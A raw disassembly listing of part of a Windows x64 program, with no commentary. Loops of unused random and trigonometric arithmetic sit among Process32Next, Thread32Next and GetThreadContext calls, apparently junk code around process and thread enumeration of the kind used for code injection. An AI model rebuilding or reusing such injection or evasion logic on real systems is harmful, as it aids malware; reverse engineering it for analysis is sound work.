jmp 0x140002b2e
mov eax, dword [rbp + 0xe1c]
cmp eax, dword [rbp + 0xe28]
jle 0x140002b10
mov eax, dword [rbp + 0xe1c]
cmp eax, dword [rbp + 0xe24]
jle 0x140002b07
sub dword [rbp + 0xe1c], 1
jmp 0x140002b2e
sub dword [rbp + 0xe24], 1
jmp 0x140002b2e
mov eax, dword [rbp + 0xe28]
cmp eax, dword [rbp + 0xe24]
jle 0x140002b27
sub dword [rbp + 0xe28], 1
jmp 0x140002b2e
sub dword [rbp + 0xe24], 1
mov eax, dword [rbp + 0xe20]
mov edx, eax
lea rax, [0x14000e079]
mov rcx, rax
call sym.printf
cmp dword [rbp + 0xe20], 0
jg 0x140002a86
mov dword [rbp + 0xe14], 0x6d6
mov dword [rbp + 0xe18], 0x6d6
jmp 0x140002b76
sub dword [rbp + 0xe14], 1
sub dword [rbp + 0xe18], 1
cmp dword [rbp + 0xe18], 0x46
jg 0x140002b68
mov dword [rbp + 0x4b0], 0x10000b
mov ecx, 0x54d0
call sym.malloc
mov qword [rbp + 0xb98], rax
mov dword [rbp + 0xe10], 0
jmp 0x140002bf4
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000e280]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xe10]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xb98]
add rax, rdx
movsd xmm1, qword [0x14000e288]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0xe10], 1
cmp dword [rbp + 0xe10], 0xa99
jle 0x140002ba6
mov dword [rbp + 0xe10], 0
jmp 0x140002c5e
mov eax, dword [rbp + 0xe10]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0xb98]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0xe10]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0xb98]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0xe10], 1
cmp dword [rbp + 0xe10], 0xa99
jle 0x140002c0c
lea rdx, [rbp + 0x480]
mov rax, qword [rbp + 0xbb0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
test eax, eax
je 0x140005acd
lea rdx, [rbp + 0x960]
mov rax, qword [rbp + 0xbf0]
mov rcx, rax
call sym.Thread32Next
test eax, eax
jne 0x1400028a7
mov rax, qword [rbp + 0xbf0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rbp + 0xd00], 0xffffffff
mov ecx, 0x9a10
call sym.malloc
mov qword [rbp + 0x988], rax
add dword [rbp + 0xd00], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000e280]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0xd00]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x988]
add rax, rdx
movsd xmm1, qword [0x14000e288]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0xd00]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x988]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0xd00]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x988]
add rax, rdx
movq xmm1, qword [0x14000e290]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0xd00], 0x1340
jle 0x140005b19
mov rax, qword [rbp + 0xc30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp + 0x150]
mov rax, qword [rbp + 0xc30]
mov rcx, rax
call sym.Process32Next
cmp eax, 1
je 0x1400020aa
mov eax, 0
movups xmm6, xmmword [rbp + 0xeb0]
add rsp, 0xf48
pop rbx
pop rsi
pop rdi
pop rbp
ret